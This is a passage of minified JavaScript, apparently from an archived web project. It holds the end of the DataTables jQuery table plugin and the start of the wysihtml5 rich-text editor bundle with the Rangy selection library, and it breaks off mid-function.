{idx:null,aDataSort:null,asSorting:null,bSearchable:null,bSortable:null,bVisible:null,_sManualType:null,_bAttrSrc:!1,fnCreatedCell:null,fnGetData:null,fnSetData:null,mData:null,mRender:null,nTh:null,nTf:null,sClass:null,sContentPadding:null,sDefaultContent:null,sName:null,sSortDataType:"std",sSortingClass:null,sSortingClassJUI:null,sTitle:null,sType:null,sWidth:null,sWidthOrig:null};p.defaults={aaData:null,aaSorting:[[0,"asc"]],aaSortingFixed:[],ajax:null,aLengthMenu:[10,25,50,100],aoColumns:null,
aoColumnDefs:null,aoSearchCols:[],asStripeClasses:null,bAutoWidth:!0,bDeferRender:!1,bDestroy:!1,bFilter:!0,bInfo:!0,bJQueryUI:!1,bLengthChange:!0,bPaginate:!0,bProcessing:!1,bRetrieve:!1,bScrollCollapse:!1,bServerSide:!1,bSort:!0,bSortMulti:!0,bSortCellsTop:!1,bSortClasses:!0,bStateSave:!1,fnCreatedRow:null,fnDrawCallback:null,fnFooterCallback:null,fnFormatNumber:function(a){return a.toString().replace(/\B(?=(\d{3})+(?!\d))/g,this.oLanguage.sThousands)},fnHeaderCallback:null,fnInfoCallback:null,
fnInitComplete:null,fnPreDrawCallback:null,fnRowCallback:null,fnServerData:null,fnServerParams:null,fnStateLoadCallback:function(a){try{return JSON.parse((-1===a.iStateDuration?sessionStorage:localStorage).getItem("DataTables_"+a.sInstance+"_"+location.pathname))}catch(b){}},fnStateLoadParams:null,fnStateLoaded:null,fnStateSaveCallback:function(a,b){try{(-1===a.iStateDuration?sessionStorage:localStorage).setItem("DataTables_"+a.sInstance+"_"+location.pathname,JSON.stringify(b))}catch(c){}},fnStateSaveParams:null,
iStateDuration:7200,iDeferLoading:null,iDisplayLength:10,iDisplayStart:0,iTabIndex:0,oClasses:{},oLanguage:{oAria:{sSortAscending:": activate to sort column ascending",sSortDescending:": activate to sort column descending"},oPaginate:{sFirst:"First",sLast:"Last",sNext:"Next",sPrevious:"Previous"},sEmptyTable:"No data available in table",sInfo:"Showing _START_ to _END_ of _TOTAL_ entries",sInfoEmpty:"Showing 0 to 0 of 0 entries",sInfoFiltered:"(filtered from _MAX_ total entries)",sInfoPostFix:"",sDecimal:"",
sThousands:",",sLengthMenu:"Show _MENU_ entries",sLoadingRecords:"Loading...",sProcessing:"Processing...",sSearch:"Search:",sUrl:"",sZeroRecords:"No matching records found"},oSearch:g.extend({},p.models.oSearch),sAjaxDataProp:"data",sAjaxSource:null,sDom:"lfrtip",sPaginationType:"simple_numbers",sScrollX:"",sScrollXInner:"",sScrollY:"",sServerMethod:"GET",renderer:null};S(p.defaults);p.defaults.column={aDataSort:null,iDataSort:-1,asSorting:["asc","desc"],bSearchable:!0,bSortable:!0,bVisible:!0,fnCreatedCell:null,
mData:null,mRender:null,sCellType:"td",sClass:"",sContentPadding:"",sDefaultContent:null,sName:"",sSortDataType:"std",sTitle:null,sType:null,sWidth:null};S(p.defaults.column);p.models.oSettings={oFeatures:{bAutoWidth:null,bDeferRender:null,bFilter:null,bInfo:null,bLengthChange:null,bPaginate:null,bProcessing:null,bServerSide:null,bSort:null,bSortMulti:null,bSortClasses:null,bStateSave:null},oScroll:{bCollapse:null,iBarWidth:0,sX:null,sXInner:null,sY:null},oLanguage:{fnInfoCallback:null},oBrowser:{bScrollOversize:!1,
bScrollbarLeft:!1},ajax:null,aanFeatures:[],aoData:[],aiDisplay:[],aiDisplayMaster:[],aoColumns:[],aoHeader:[],aoFooter:[],oPreviousSearch:{},aoPreSearchCols:[],aaSorting:null,aaSortingFixed:[],asStripeClasses:null,asDestroyStripes:[],sDestroyWidth:0,aoRowCallback:[],aoHeaderCallback:[],aoFooterCallback:[],aoDrawCallback:[],aoRowCreatedCallback:[],aoPreDrawCallback:[],aoInitComplete:[],aoStateSaveParams:[],aoStateLoadParams:[],aoStateLoaded:[],sTableId:"",nTable:null,nTHead:null,nTFoot:null,nTBody:null,
nTableWrapper:null,bDeferLoading:!1,bInitialised:!1,aoOpenRows:[],sDom:null,sPaginationType:"two_button",iStateDuration:0,aoStateSave:[],aoStateLoad:[],oLoadedState:null,sAjaxSource:null,sAjaxDataProp:null,bAjaxDataGet:!0,jqXHR:null,json:l,oAjaxData:l,fnServerData:null,aoServerParams:[],sServerMethod:null,fnFormatNumber:null,aLengthMenu:null,iDraw:0,bDrawing:!1,iDrawError:-1,_iDisplayLength:10,_iDisplayStart:0,_iRecordsTotal:0,_iRecordsDisplay:0,bJUI:null,oClasses:{},bFiltered:!1,bSorted:!1,bSortCellsTop:null,
oInit:null,aoDestroyCallback:[],fnRecordsTotal:function(){return"ssp"==z(this)?1*this._iRecordsTotal:this.aiDisplayMaster.length},fnRecordsDisplay:function(){return"ssp"==z(this)?1*this._iRecordsDisplay:this.aiDisplay.length},fnDisplayEnd:function(){var a=this._iDisplayLength,b=this._iDisplayStart,c=b+a,d=this.aiDisplay.length,e=this.oFeatures,f=e.bPaginate;return e.bServerSide?!1===f||-1===a?b+d:Math.min(b+a,this._iRecordsDisplay):!f||c>d||-1===a?d:c},oInstance:null,sInstance:null,iTabIndex:0,nScrollHead:null,
nScrollFoot:null,aLastSort:[],oPlugins:{}};p.ext=u={classes:{},errMode:"alert",feature:[],search:[],internal:{},legacy:{ajax:null},pager:{},renderer:{pageButton:{},header:{}},order:{},type:{detect:[],search:{},order:{}},_unique:0,fnVersionCheck:p.fnVersionCheck,iApiIndex:0,oJUIClasses:{},sVersion:p.version};g.extend(u,{afnFiltering:u.search,aTypes:u.type.detect,ofnSearch:u.type.search,oSort:u.type.order,afnSortData:u.order,aoFeatures:u.feature,oApi:u.internal,oStdClasses:u.classes,oPagination:u.pager});
g.extend(p.ext.classes,{sTable:"dataTable",sNoFooter:"no-footer",sPageButton:"paginate_button",sPageButtonActive:"current",sPageButtonDisabled:"disabled",sStripeOdd:"odd",sStripeEven:"even",sRowEmpty:"dataTables_empty",sWrapper:"dataTables_wrapper",sFilter:"dataTables_filter",sInfo:"dataTables_info",sPaging:"dataTables_paginate paging_",sLength:"dataTables_length",sProcessing:"dataTables_processing",sSortAsc:"sorting_asc",sSortDesc:"sorting_desc",sSortable:"sorting",sSortableAsc:"sorting_asc_disabled",
sSortableDesc:"sorting_desc_disabled",sSortableNone:"sorting_disabled",sSortColumn:"sorting_",sFilterInput:"",sLengthSelect:"",sScrollWrapper:"dataTables_scroll",sScrollHead:"dataTables_scrollHead",sScrollHeadInner:"dataTables_scrollHeadInner",sScrollBody:"dataTables_scrollBody",sScrollFoot:"dataTables_scrollFoot",sScrollFootInner:"dataTables_scrollFootInner",sHeaderTH:"",sFooterTH:"",sSortJUIAsc:"",sSortJUIDesc:"",sSortJUI:"",sSortJUIAscAllowed:"",sSortJUIDescAllowed:"",sSortJUIWrapper:"",sSortIcon:"",
sJUIHeader:"",sJUIFooter:""});var ya="",ya="",E=ya+"ui-state-default",ea=ya+"css_right ui-icon ui-icon-",Rb=ya+"fg-toolbar ui-toolbar ui-widget-header ui-helper-clearfix";g.extend(p.ext.oJUIClasses,p.ext.classes,{sPageButton:"fg-button ui-button "+E,sPageButtonActive:"ui-state-disabled",sPageButtonDisabled:"ui-state-disabled",sPaging:"dataTables_paginate fg-buttonset ui-buttonset fg-buttonset-multi ui-buttonset-multi paging_",sSortAsc:E+" sorting_asc",sSortDesc:E+" sorting_desc",sSortable:E+" sorting",
sSortableAsc:E+" sorting_asc_disabled",sSortableDesc:E+" sorting_desc_disabled",sSortableNone:E+" sorting_disabled",sSortJUIAsc:ea+"triangle-1-n",sSortJUIDesc:ea+"triangle-1-s",sSortJUI:ea+"carat-2-n-s",sSortJUIAscAllowed:ea+"carat-1-n",sSortJUIDescAllowed:ea+"carat-1-s",sSortJUIWrapper:"DataTables_sort_wrapper",sSortIcon:"DataTables_sort_icon",sScrollHead:"dataTables_scrollHead "+E,sScrollFoot:"dataTables_scrollFoot "+E,sHeaderTH:E,sFooterTH:E,sJUIHeader:Rb+" ui-corner-tl ui-corner-tr",sJUIFooter:Rb+
" ui-corner-bl ui-corner-br"});var Ib=p.ext.pager;g.extend(Ib,{simple:function(){return["previous","next"]},full:function(){return["first","previous","next","last"]},simple_numbers:function(a,b){return["previous",Ua(a,b),"next"]},full_numbers:function(a,b){return["first","previous",Ua(a,b),"next","last"]},_numbers:Ua,numbers_length:7});g.extend(!0,p.ext.renderer,{pageButton:{_:function(a,b,c,d,e,f){var h=a.oClasses,i=a.oLanguage.oPaginate,j,l,m=0,o=function(b,d){var k,p,r,q,s=function(b){Ra(a,b.data.action,
true)};k=0;for(p=d.length;k<p;k++){q=d[k];if(g.isArray(q)){r=g("<"+(q.DT_el||"div")+"/>").appendTo(b);o(r,q)}else{l=j="";switch(q){case "ellipsis":b.append("<span>&hellip;</span>");break;case "first":j=i.sFirst;l=q+(e>0?"":" "+h.sPageButtonDisabled);break;case "previous":j=i.sPrevious;l=q+(e>0?"":" "+h.sPageButtonDisabled);break;case "next":j=i.sNext;l=q+(e<f-1?"":" "+h.sPageButtonDisabled);break;case "last":j=i.sLast;l=q+(e<f-1?"":" "+h.sPageButtonDisabled);break;default:j=q+1;l=e===q?h.sPageButtonActive:
""}if(j){r=g("<a>",{"class":h.sPageButton+" "+l,"aria-controls":a.sTableId,"data-dt-idx":m,tabindex:a.iTabIndex,id:c===0&&typeof q==="string"?a.sTableId+"_"+q:null}).html(j).appendTo(b);Ta(r,{action:q},s);m++}}}},k=g(N.activeElement).data("dt-idx");o(g(b).empty(),d);k!==null&&g(b).find("[data-dt-idx="+k+"]").focus()}}});var va=function(a,b,c,d){if(!a||"-"===a)return-Infinity;b&&(a=Mb(a,b));a.replace&&(c&&(a=a.replace(c,"")),d&&(a=a.replace(d,"")));return 1*a};g.extend(u.type.order,{"date-pre":function(a){return Date.parse(a)||
0},"html-pre":function(a){return!a?"":a.replace?a.replace(/<.*?>/g,"").toLowerCase():a+""},"string-pre":function(a){return"string"===typeof a?a.toLowerCase():!a||!a.toString?"":a.toString()},"string-asc":function(a,b){return a<b?-1:a>b?1:0},"string-desc":function(a,b){return a<b?1:a>b?-1:0}});bb("");g.extend(p.ext.type.detect,[function(a,b){var c=b.oLanguage.sDecimal;return Xa(a,c)?"num"+c:null},function(a){if(a&&!Vb.test(a))return null;var b=Date.parse(a);return null!==b&&!isNaN(b)||da(a)?"date":
null},function(a,b){var c=b.oLanguage.sDecimal;return Xa(a,c,!0)?"num-fmt"+c:null},function(a,b){var c=b.oLanguage.sDecimal;return Nb(a,c)?"html-num"+c:null},function(a,b){var c=b.oLanguage.sDecimal;return Nb(a,c,!0)?"html-num-fmt"+c:null},function(a){return da(a)||"string"===typeof a&&-1!==a.indexOf("<")?"html":null}]);g.extend(p.ext.type.search,{html:function(a){return da(a)?"":"string"===typeof a?a.replace(Kb," ").replace(wa,""):""},string:function(a){return da(a)?"":"string"===typeof a?a.replace(Kb,
" "):a}});g.extend(!0,p.ext.renderer,{header:{_:function(a,b,c,d){g(a.nTable).on("order.dt.DT",function(a,f,g,i){a=c.idx;b.removeClass(c.sSortingClass+" "+d.sSortAsc+" "+d.sSortDesc).addClass(i[a]=="asc"?d.sSortAsc:i[a]=="desc"?d.sSortDesc:c.sSortingClass)})},jqueryui:function(a,b,c,d){var e=c.idx;g("<div/>").addClass(d.sSortJUIWrapper).append(b.contents()).append(g("<span/>").addClass(d.sSortIcon+" "+c.sSortingClassJUI)).appendTo(b);g(a.nTable).on("order.dt.DT",function(a,g,i,j){b.removeClass(d.sSortAsc+
" "+d.sSortDesc).addClass(j[e]=="asc"?d.sSortAsc:j[e]=="desc"?d.sSortDesc:c.sSortingClass);b.find("span."+d.sSortIcon).removeClass(d.sSortJUIAsc+" "+d.sSortJUIDesc+" "+d.sSortJUI+" "+d.sSortJUIAscAllowed+" "+d.sSortJUIDescAllowed).addClass(j[e]=="asc"?d.sSortJUIAsc:j[e]=="desc"?d.sSortJUIDesc:c.sSortingClassJUI)})}}});p.render={number:function(a,b,c,d){return{display:function(e){var e=parseFloat(e),f=parseInt(e,10),e=c?(b+(e-f).toFixed(c)).substring(2):"";return(d||"")+f.toString().replace(/\B(?=(\d{3})+(?!\d))/g,
a)+e}}}};g.extend(p.ext.internal,{_fnExternApiFunc:Jb,_fnBuildAjax:na,_fnAjaxUpdate:ib,_fnAjaxParameters:rb,_fnAjaxUpdateDraw:sb,_fnAjaxDataSrc:oa,_fnAddColumn:Aa,_fnColumnOptions:fa,_fnAdjustColumnSizing:U,_fnVisibleToColumnIndex:ga,_fnColumnIndexToVisible:X,_fnVisbleColumns:Y,_fnGetColumns:W,_fnColumnTypes:Da,_fnApplyColumnDefs:gb,_fnHungarianMap:S,_fnCamelToHungarian:G,_fnLanguageCompat:M,_fnBrowserDetect:eb,_fnAddData:H,_fnAddTr:ha,_fnNodeToDataIndex:function(a,b){return b._DT_RowIndex!==l?b._DT_RowIndex:
null},_fnNodeToColumnIndex:function(a,b,c){return g.inArray(c,a.aoData[b].anCells)},_fnGetCellData:A,_fnSetCellData:Ea,_fnSplitObjNotation:Ga,_fnGetObjectDataFn:T,_fnSetObjectDataFn:Ba,_fnGetDataMaster:Ha,_fnClearTable:ja,_fnDeleteIndex:ka,_fnInvalidateRow:la,_fnGetRowElements:ia,_fnCreateTr:Fa,_fnBuildHead:hb,_fnDrawHead:I,_fnDraw:J,_fnReDraw:K,_fnAddOptionsHtml:kb,_fnDetectHeader:$,_fnGetUniqueThs:ma,_fnFeatureHtmlFilter:mb,_fnFilterComplete:aa,_fnFilterCustom:vb,_fnFilterColumn:ub,_fnFilter:tb,
_fnFilterCreateSearch:Na,_fnEscapeRegex:Oa,_fnFilterData:wb,_fnFeatureHtmlInfo:pb,_fnUpdateInfo:xb,_fnInfoMacros:yb,_fnInitialise:ra,_fnInitComplete:pa,_fnLengthChange:Pa,_fnFeatureHtmlLength:lb,_fnFeatureHtmlPaginate:qb,_fnPageChange:Ra,_fnFeatureHtmlProcessing:nb,_fnProcessingDisplay:C,_fnFeatureHtmlTable:ob,_fnScrollDraw:V,_fnApplyToChildren:F,_fnCalculateColumnWidths:Ca,_fnThrottle:Ma,_fnConvertToWidth:zb,_fnScrollingWidthAdjust:Bb,_fnGetWidestNode:Ab,_fnGetMaxLenString:Cb,_fnStringToCss:s,_fnScrollBarWidth:Db,
_fnSortFlatten:Q,_fnSort:jb,_fnSortAria:Fb,_fnSortListener:Sa,_fnSortAttachListener:Ka,_fnSortingClasses:sa,_fnSortData:Eb,_fnSaveState:ta,_fnLoadState:Gb,_fnSettingsFromNode:ua,_fnLog:O,_fnMap:D,_fnBindAction:Ta,_fnCallbackReg:y,_fnCallbackFire:t,_fnLengthOverflow:Qa,_fnRenderer:La,_fnDataSource:z,_fnRowAttributes:Ia,_fnCalculateEnd:function(){}});g.fn.dataTable=p;g.fn.dataTableSettings=p.settings;g.fn.dataTableExt=p.ext;g.fn.DataTable=function(a){return g(this).dataTable(a).api()};g.each(p,function(a,
b){g.fn.DataTable[a]=b});return g.fn.dataTable};"function"===typeof define&&define.amd?define("datatables",["jquery"],M):"object"===typeof exports?M(require("jquery")):jQuery&&!jQuery.fn.dataTable&&M(jQuery)})(window,document);
js/wysihtml5-0.3.0_rc2.min.js000060400000331253150710775200011456 0ustar00/*
 wysihtml5 v0.3.0_rc2
 https://github.com/xing/wysihtml5

 Author: Christopher Blum (https://github.com/tiff)

 Copyright (C) 2012 XING AG
 Licensed under the MIT license (MIT)

 Rangy, a cross-browser JavaScript range and selection library
 http://code.google.com/p/rangy/

 Copyright 2011, Tim Down
 Licensed under the MIT license.
 Version: 1.2.2
 Build date: 13 November 2011
*/
var wysihtml5={version:"0.3.0_rc2",commands:{},dom:{},quirks:{},toolbar:{},lang:{},selection:{},views:{},INVISIBLE_SPACE:"\ufeff",EMPTY_FUNCTION:function(){},ELEMENT_NODE:1,TEXT_NODE:3,BACKSPACE_KEY:8,ENTER_KEY:13,ESCAPE_KEY:27,SPACE_KEY:32,DELETE_KEY:46};
window.rangy=function(){function b(a,b){var c=typeof a[b];return c==k||!!(c==g&&a[b])||"unknown"==c}function c(a,b){return!!(typeof a[b]==g&&a[b])}function a(a,b){return typeof a[b]!=j}function d(a){return function(b,c){for(var d=c.length;d--;)if(!a(b,c[d]))return!1;return!0}}function e(a){return a&&m(a,r)&&x(a,p)}function f(a){window.alert("Rangy not supported in your browser. Reason: "+a);o.initialized=!0;o.supported=!1}function h(){if(!o.initialized){var a,d=!1,g=!1;b(document,"createRange")&&
(a=document.createRange(),m(a,n)&&x(a,q)&&(d=!0),a.detach());if((a=c(document,"body")?document.body:document.getElementsByTagName("body")[0])&&b(a,"createTextRange"))a=a.createTextRange(),e(a)&&(g=!0);!d&&!g&&f("Neither Range nor TextRange are implemented");o.initialized=!0;o.features={implementsDomRange:d,implementsTextRange:g};d=w.concat(z);g=0;for(a=d.length;g<a;++g)try{d[g](o)}catch(j){c(window,"console")&&b(window.console,"log")&&window.console.log("Init listener threw an exception. Continuing.",
j)}}}function i(a){this.name=a;this.supported=this.initialized=!1}var g="object",k="function",j="undefined",q="startContainer,startOffset,endContainer,endOffset,collapsed,commonAncestorContainer,START_TO_START,START_TO_END,END_TO_START,END_TO_END".split(","),n="setStart,setStartBefore,setStartAfter,setEnd,setEndBefore,setEndAfter,collapse,selectNode,selectNodeContents,compareBoundaryPoints,deleteContents,extractContents,cloneContents,insertNode,surroundContents,cloneRange,toString,detach".split(","),
p="boundingHeight,boundingLeft,boundingTop,boundingWidth,htmlText,text".split(","),r="collapse,compareEndPoints,duplicate,getBookmark,moveToBookmark,moveToElementText,parentElement,pasteHTML,select,setEndPoint,getBoundingClientRect".split(","),m=d(b),s=d(c),x=d(a),o={version:"1.2.2",initialized:!1,supported:!0,util:{isHostMethod:b,isHostObject:c,isHostProperty:a,areHostMethods:m,areHostObjects:s,areHostProperties:x,isTextRange:e},features:{},modules:{},config:{alertOnWarn:!1,preferTextRange:!1}};
o.fail=f;o.warn=function(a){a="Rangy warning: "+a;o.config.alertOnWarn?window.alert(a):typeof window.console!=j&&typeof window.console.log!=j&&window.console.log(a)};({}).hasOwnProperty?o.util.extend=function(a,b){for(var c in b)b.hasOwnProperty(c)&&(a[c]=b[c])}:f("hasOwnProperty not supported");var z=[],w=[];o.init=h;o.addInitListener=function(a){o.initialized?a(o):z.push(a)};var y=[];o.addCreateMissingNativeApiListener=function(a){y.push(a)};o.createMissingNativeApi=function(a){a=a||window;h();
for(var b=0,c=y.length;b<c;++b)y[b](a)};i.prototype.fail=function(a){this.initialized=!0;this.supported=!1;throw Error("Module '"+this.name+"' failed to load: "+a);};i.prototype.warn=function(a){o.warn("Module "+this.name+": "+a)};i.prototype.createError=function(a){return Error("Error in Rangy "+this.name+" module: "+a)};o.createModule=function(a,b){var c=new i(a);o.modules[a]=c;w.push(function(a){b(a,c);c.initialized=!0;c.supported=!0})};o.requireModules=function(a){for(var b=0,c=a.length,d,g;b<
c;++b){g=a[b];d=o.modules[g];if(!d||!(d instanceof i))throw Error("Module '"+g+"' not found");if(!d.supported)throw Error("Module '"+g+"' not supported");}};var A=!1,s=function(){A||(A=!0,o.initialized||h())};if(typeof window==j)f("No window found");else if(typeof document==j)f("No document found");else return b(document,"addEventListener")&&document.addEventListener("DOMContentLoaded",s,!1),b(window,"addEventListener")?window.addEventListener("load",s,!1):b(window,"attachEvent")?window.attachEvent("onload",
s):f("Window does not have required addEventListener or attachEvent method"),o}();
rangy.createModule("DomUtil",function(b,c){function a(a){for(var b=0;a=a.previousSibling;)b++;return b}function d(a,b){var c=[],d;for(d=a;d;d=d.parentNode)c.push(d);for(d=b;d;d=d.parentNode)if(m(c,d))return d;return null}function e(a,b,c){for(c=c?a:a.parentNode;c;){a=c.parentNode;if(a===b)return c;c=a}return null}function f(a){a=a.nodeType;return 3==a||4==a||8==a}function h(a,b){var c=b.nextSibling,d=b.parentNode;c?d.insertBefore(a,c):d.appendChild(a);return a}function i(a){if(9==a.nodeType)return a;
if(typeof a.ownerDocument!=n)return a.ownerDocument;if(typeof a.document!=n)return a.document;if(a.parentNode)return i(a.parentNode);throw Error("getDocument: no document found for node");}function g(a){return!a?"[No node]":f(a)?'"'+a.data+'"':1==a.nodeType?"<"+a.nodeName+(a.id?' id="'+a.id+'"':"")+">["+a.childNodes.length+"]":a.nodeName}function k(a){this._next=this.root=a}function j(a,b){this.node=a;this.offset=b}function q(a){this.code=this[a];this.codeName=a;this.message="DOMException: "+this.codeName}
var n="undefined",p=b.util;p.areHostMethods(document,["createDocumentFragment","createElement","createTextNode"])||c.fail("document missing a Node creation method");p.isHostMethod(document,"getElementsByTagName")||c.fail("document missing getElementsByTagName method");var r=document.createElement("div");p.areHostMethods(r,["insertBefore","appendChild","cloneNode"])||c.fail("Incomplete Element implementation");p.isHostProperty(r,"innerHTML")||c.fail("Element is missing innerHTML property");r=document.createTextNode("test");
p.areHostMethods(r,["splitText","deleteData","insertData","appendData","cloneNode"])||c.fail("Incomplete Text Node implementation");var m=function(a,b){for(var c=a.length;c--;)if(a[c]===b)return!0;return!1};k.prototype={_current:null,hasNext:function(){return!!this._next},next:function(){var a=this._current=this._next,b;if(this._current){b=a.firstChild;if(!b)for(b=null;a!==this.root&&!(b=a.nextSibling);)a=a.parentNode;this._next=b}return this._current},detach:function(){this._current=this._next=this.root=
null}};j.prototype={equals:function(a){return this.node===a.node&this.offset==a.offset},inspect:function(){return"[DomPosition("+g(this.node)+":"+this.offset+")]"}};q.prototype={INDEX_SIZE_ERR:1,HIERARCHY_REQUEST_ERR:3,WRONG_DOCUMENT_ERR:4,NO_MODIFICATION_ALLOWED_ERR:7,NOT_FOUND_ERR:8,NOT_SUPPORTED_ERR:9,INVALID_STATE_ERR:11};q.prototype.toString=function(){return this.message};b.dom={arrayContains:m,isHtmlNamespace:function(a){var b;return typeof a.namespaceURI==n||null===(b=a.namespaceURI)||"http://www.w3.org/1999/xhtml"==
b},parentElement:function(a){a=a.parentNode;return 1==a.nodeType?a:null},getNodeIndex:a,getNodeLength:function(a){var b;return f(a)?a.length:(b=a.childNodes)?b.length:0},getCommonAncestor:d,isAncestorOf:function(a,b,c){for(b=c?b:b.parentNode;b;){if(b===a)return!0;b=b.parentNode}return!1},getClosestAncestorIn:e,isCharacterDataNode:f,insertAfter:h,splitDataNode:function(a,b){var c=a.cloneNode(!1);c.deleteData(0,b);a.deleteData(b,a.length-b);h(c,a);return c},getDocument:i,getWindow:function(a){a=i(a);
if(typeof a.defaultView!=n)return a.defaultView;if(typeof a.parentWindow!=n)return a.parentWindow;throw Error("Cannot get a window object for node");},getIframeWindow:function(a){if(typeof a.contentWindow!=n)return a.contentWindow;if(typeof a.contentDocument!=n)return a.contentDocument.defaultView;throw Error("getIframeWindow: No Window object found for iframe element");},getIframeDocument:function(a){if(typeof a.contentDocument!=n)return a.contentDocument;if(typeof a.contentWindow!=n)return a.contentWindow.document;
throw Error("getIframeWindow: No Document object found for iframe element");},getBody:function(a){return p.isHostObject(a,"body")?a.body:a.getElementsByTagName("body")[0]},getRootContainer:function(a){for(var b;b=a.parentNode;)a=b;return a},comparePoints:function(b,c,g,j){var k;if(b==g)return c===j?0:c<j?-1:1;if(k=e(g,b,!0))return c<=a(k)?-1:1;if(k=e(b,g,!0))return a(k)<j?-1:1;c=d(b,g);b=b===c?c:e(b,c,!0);g=g===c?c:e(g,c,!0);if(b===g)throw Error("comparePoints got to case 4 and childA and childB are the same!");
for(c=c.firstChild;c;){if(c===b)return-1;if(c===g)return 1;c=c.nextSibling}throw Error("Should not be here!");},inspectNode:g,fragmentFromNodeChildren:function(a){for(var b=i(a).createDocumentFragment(),c;c=a.firstChild;)b.appendChild(c);return b},createIterator:function(a){return new k(a)},DomPosition:j};b.DOMException=q});
rangy.createModule("DomRange",function(b){function c(a,b){return 3!=a.nodeType&&(l.isAncestorOf(a,b.startContainer,!0)||l.isAncestorOf(a,b.endContainer,!0))}function a(a){return l.getDocument(a.startContainer)}function d(a,b,c){if(b=a._listeners[b])for(var d=0,g=b.length;d<g;++d)b[d].call(a,{target:a,args:c})}function e(a){return new u(a.parentNode,l.getNodeIndex(a))}function f(a){return new u(a.parentNode,l.getNodeIndex(a)+1)}function h(a,b,c){var d=11==a.nodeType?a.firstChild:a;l.isCharacterDataNode(b)?
c==b.length?l.insertAfter(a,b):b.parentNode.insertBefore(a,0==c?b:l.splitDataNode(b,c)):c>=b.childNodes.length?b.appendChild(a):b.insertBefore(a,b.childNodes[c]);return d}function i(b){for(var c,d,g=a(b.range).createDocumentFragment();d=b.next();){c=b.isPartiallySelectedSubtree();d=d.cloneNode(!c);c&&(c=b.getSubtreeIterator(),d.appendChild(i(c)),c.detach(!0));if(10==d.nodeType)throw new B("HIERARCHY_REQUEST_ERR");g.appendChild(d)}return g}function g(a,b,c){for(var d,e,c=c||{stop:!1};d=a.next();)if(a.isPartiallySelectedSubtree())if(!1===
b(d)){c.stop=!0;break}else{if(d=a.getSubtreeIterator(),g(d,b,c),d.detach(!0),c.stop)break}else for(d=l.createIterator(d);e=d.next();)if(!1===b(e)){c.stop=!0;return}}function k(a){for(var b;a.next();)a.isPartiallySelectedSubtree()?(b=a.getSubtreeIterator(),k(b),b.detach(!0)):a.remove()}function j(b){for(var c,d=a(b.range).createDocumentFragment(),g;c=b.next();){b.isPartiallySelectedSubtree()?(c=c.cloneNode(!1),g=b.getSubtreeIterator(),c.appendChild(j(g)),g.detach(!0)):b.remove();if(10==c.nodeType)throw new B("HIERARCHY_REQUEST_ERR");
d.appendChild(c)}return d}function q(a,b,c){var d=!(!b||!b.length),e,j=!!c;d&&(e=RegExp("^("+b.join("|")+")$"));var k=[];g(new p(a,!1),function(a){(!d||e.test(a.nodeType))&&(!j||c(a))&&k.push(a)});return k}function n(a){return"["+("undefined"==typeof a.getName?"Range":a.getName())+"("+l.inspectNode(a.startContainer)+":"+a.startOffset+", "+l.inspectNode(a.endContainer)+":"+a.endOffset+")]"}function p(a,b){this.range=a;this.clonePartiallySelectedTextNodes=b;if(!a.collapsed){this.sc=a.startContainer;
this.so=a.startOffset;this.ec=a.endContainer;this.eo=a.endOffset;var c=a.commonAncestorContainer;this.sc===this.ec&&l.isCharacterDataNode(this.sc)?(this.isSingleCharacterDataNode=!0,this._first=this._last=this._next=this.sc):(this._first=this._next=this.sc===c&&!l.isCharacterDataNode(this.sc)?this.sc.childNodes[this.so]:l.getClosestAncestorIn(this.sc,c,!0),this._last=this.ec===c&&!l.isCharacterDataNode(this.ec)?this.ec.childNodes[this.eo-1]:l.getClosestAncestorIn(this.ec,c,!0))}}function r(a){this.code=
this[a];this.codeName=a;this.message="RangeException: "+this.codeName}function m(a,b,c){this.nodes=q(a,b,c);this._next=this.nodes[0];this._position=0}function s(a){return function(b,c){for(var d,g=c?b:b.parentNode;g;){d=g.nodeType;if(l.arrayContains(a,d))return g;g=g.parentNode}return null}}function x(a,b){if($(a,b))throw new r("INVALID_NODE_TYPE_ERR");}function o(a){if(!a.startContainer)throw new B("INVALID_STATE_ERR");}function z(a,b){if(!l.arrayContains(b,a.nodeType))throw new r("INVALID_NODE_TYPE_ERR");
}function w(a,b){if(0>b||b>(l.isCharacterDataNode(a)?a.length:a.childNodes.length))throw new B("INDEX_SIZE_ERR");}function y(a,b){if(O(a,!0)!==O(b,!0))throw new B("WRONG_DOCUMENT_ERR");}function A(a){if(aa(a,!0))throw new B("NO_MODIFICATION_ALLOWED_ERR");}function t(a,b){if(!a)throw new B(b);}function v(a){o(a);if(!l.arrayContains(G,a.startContainer.nodeType)&&!O(a.startContainer,!0)||!l.arrayContains(G,a.endContainer.nodeType)&&!O(a.endContainer,!0)||!(a.startOffset<=(l.isCharacterDataNode(a.startContainer)?
a.startContainer.length:a.startContainer.childNodes.length))||!(a.endOffset<=(l.isCharacterDataNode(a.endContainer)?a.endContainer.length:a.endContainer.childNodes.length)))throw Error("Range error: Range is no longer valid after DOM mutation ("+a.inspect()+")");}function D(){}function K(a){a.START_TO_START=Q;a.START_TO_END=U;a.END_TO_END=ba;a.END_TO_START=V;a.NODE_BEFORE=W;a.NODE_AFTER=X;a.NODE_BEFORE_AND_AFTER=Y;a.NODE_INSIDE=R}function F(a){K(a);K(a.prototype)}function E(a,b){return function(){v(this);
var c=this.startContainer,d=this.startOffset,e=this.commonAncestorContainer,j=new p(this,!0);c!==e&&(c=l.getClosestAncestorIn(c,e,!0),d=f(c),c=d.node,d=d.offset);g(j,A);j.reset();e=a(j);j.detach();b(this,c,d,c,d);return e}}function I(a,d,g){function h(a,b){return function(c){o(this);z(c,L);z(M(c),G);c=(a?e:f)(c);(b?i:n)(this,c.node,c.offset)}}function i(a,b,c){var g=a.endContainer,e=a.endOffset;if(b!==a.startContainer||c!==a.startOffset){if(M(b)!=M(g)||1==l.comparePoints(b,c,g,e))g=b,e=c;d(a,b,c,
g,e)}}function n(a,b,c){var g=a.startContainer,e=a.startOffset;if(b!==a.endContainer||c!==a.endOffset){if(M(b)!=M(g)||-1==l.comparePoints(b,c,g,e))g=b,e=c;d(a,g,e,b,c)}}a.prototype=new D;b.util.extend(a.prototype,{setStart:function(a,b){o(this);x(a,!0);w(a,b);i(this,a,b)},setEnd:function(a,b){o(this);x(a,!0);w(a,b);n(this,a,b)},setStartBefore:h(!0,!0),setStartAfter:h(!1,!0),setEndBefore:h(!0,!1),setEndAfter:h(!1,!1),collapse:function(a){v(this);a?d(this,this.startContainer,this.startOffset,this.startContainer,
